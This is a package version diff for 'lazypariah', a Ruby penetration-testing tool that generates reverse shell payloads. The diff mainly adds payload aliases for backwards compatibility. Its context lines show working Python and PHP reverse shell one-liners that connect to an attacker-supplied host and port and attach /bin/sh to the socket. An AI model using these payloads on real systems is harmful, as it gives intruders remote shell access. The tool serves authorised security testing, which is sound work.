lazypariah 1.0.0 → 1.1.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 39fa66ebf06f26ea52ea9033989efa12ac2a517eaaecc9403c71f5cc6e2e0203
-  data.tar.gz: f8de654a384319b9b3f11cb8dd5d0c0618ed17086115144c92fee6b5e20a29c5
+  metadata.gz: 1288e500075f52658c2f940333c165b9193428741782923954475ae633aaa649
+  data.tar.gz: 98f23bade85e537388413124dbccd9342df216b062b739cd883303a8ce57fcc2
 SHA512:
-  metadata.gz: c8ec9e1b3e0301e242ebe549db465103c72bd47b5b8799df416846143d6d61352f427e8dcb2b030dd03c4988558275bc2127b06df501f771ff989e20909be014
-  data.tar.gz: 82cd305608c676d0254d7bd9177cc2e227363fbfdbb5878628d82cc3adccef4719ad78eb06a4d6dbe5a06009fbe1431e591b57e09937d3fd9419922e90e8b5e2
+  metadata.gz: 6615b3769dff4d020ab040d0cf954b73e5c36a458777c69f8a17f6b4b726d3885b45f27a2cda8eba440afe6de2566591f69837607b3a61835676af6b54581dad
+  data.tar.gz: ea35b055a2a0e588d6d90831fca667ba82fd7abdf2c635e4027b5761e33338336f34b17ace98fc3a33b1de5c5cd14d038b66a77f12870fe21ddd5ce26ca04571

data/bin/lazypariah

@@ -1,7 +1,7 @@
 #!/usr/bin/env ruby
 #
 # Title: LAZYPARIAH
-# Version: 1.0.0
+# Version: 1.1.0
 # Description:
 #	LAZYPARIAH is a simple tool for generating various reverse shell payloads
 #	on the fly. It is intended to be used only in authorised circumstances by
@@ -29,7 +29,7 @@ require "stringio"
 
 # Define constants.
 PROGRAM_NAME = "LAZYPARIAH".freeze()
-PROGRAM_VERSION = "1.0.0".freeze()
+PROGRAM_VERSION = "1.1.0".freeze()
 EXECUTABLE_NAME = "lazypariah".freeze()
 
 # Define payload list.
@@ -67,6 +67,28 @@ PAYLOAD_LIST = [
 	"c_binary_gzip_hex"
 ].sort()
 
+# Define dictionary of payload aliases for backwards compatibility with versions < 1.0.0.
+PAYLOAD_BC_DICT = {
+	"php_fd_3"=>{"payload"=>"php_fd", "fd"=>"3"},
+	"php_fd_4"=>{"payload"=>"php_fd", "fd"=>"4"},
+	"php_fd_5"=>{"payload"=>"php_fd", "fd"=>"5"},
+	"php_fd_6"=>{"payload"=>"php_fd", "fd"=>"6"},
+	"php_fd_3_c"=>{"payload"=>"php_fd_c", "fd"=>"3"},
+	"php_fd_4_c"=>{"payload"=>"php_fd_c", "fd"=>"4"},
+	"php_fd_5_c"=>{"payload"=>"php_fd_c", "fd"=>"5"},
+	"php_fd_6_c"=>{"payload"=>"php_fd_c", "fd"=>"6"},
+	"php_fd_3_tags"=>{"payload"=>"php_fd_tags", "fd"=>"3"},
+	"php_fd_4_tags"=>{"payload"=>"php_fd_tags", "fd"=>"4"},
+	"php_fd_5_tags"=>{"payload"=>"php_fd_tags", "fd"=>"5"},
+	"php_fd_6_tags"=>{"payload"=>"php_fd_tags", "fd"=>"6"},
+	"python3_c"=>{"payload"=>"python_c", "pv"=>"3"},
+	"python2_c"=>{"payload"=>"python_c", "pv"=>"2"},
+	"python3_b64"=>{"payload"=>"python_b64", "pv"=>"3"},
+	"python2_b64"=>{"payload"=>"python_b64", "pv"=>"2"},
+	"python3_hex"=>{"payload"=>"python_hex", "pv"=>"3"},
+	"python2_hex"=>{"payload"=>"python_hex", "pv"=>"2"}
+}
+
 # Define function for displaying program information.
 def prog_info(donation_info=true)
 	puts("#{PROGRAM_NAME} #{PROGRAM_VERSION}")
@@ -146,7 +168,7 @@ begin
 			puts("\nToo many command line arguments were given to #{PROGRAM_NAME}.\n")
 			puts(option_parser)
 			exit()
-		elsif not PAYLOAD_LIST.include?(ARGV[0])
+		elsif not PAYLOAD_LIST.include?(ARGV[0]) and not PAYLOAD_BC_DICT.include?(ARGV[0])
 			prog_info()
 			puts("\n#{PROGRAM_NAME} did not recognise the specified payload. Please consult the valid list of payloads below.\n")
 			puts(option_parser)
@@ -171,7 +193,17 @@ begin
 				exit()
 			end
 
-			case ARGV[0]
+			# Parse payload, applying aliases for backwards compatibility with versions < 1.0.0.
+			if PAYLOAD_BC_DICT.include?(ARGV[0])
+				bc_dict = PAYLOAD_BC_DICT[ARGV[0]]
+				selected_payload = bc_dict["payload"]
+				tcp_fd = bc_dict["fd"]
+				python_version = bc_dict["pv"]
+			else
+				selected_payload = ARGV[0]
+			end
+
+			case selected_payload
 			when "python"
 				print_output("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
 			when "python_c"
@@ -196,7 +228,7 @@ begin
 				if not tcp_fd
 					puts("The payload you have selected requires a file descriptor to be specified. Please specify the file descriptor used by the target for TCP via the command-line argument \"-D NUMBER\" or \"--fd NUMBER\".")
 				else
-					case ARGV[0]
+					case selected_payload
 					when "php_fd"
 						print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
 					when "php_fd_c"
@@ -241,7 +273,7 @@ begin
 
 				File.open(temp_dir+"/rs.class", "r") do |f|
 					java_payload = f.read()
-					case ARGV[0]
+					case selected_payload
 					when "java_class_binary"
 						print_output(java_payload, new_line=false)
 					when "java_class_b64"
@@ -270,7 +302,7 @@ begin
 
 				File.open(temp_dir+"/rs", "r") do |f|
 					binary_payload = f.read()
-					case ARGV[0]
+					case selected_payload
 					when "c_binary"
 						print_output(binary_payload, new_line=false)
 					when "c_binary_b64"

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: lazypariah
 version: !ruby/object:Gem::Version
-  version: 1.0.0
+  version: 1.1.0
 platform: ruby
 authors:
 - Peter Funnell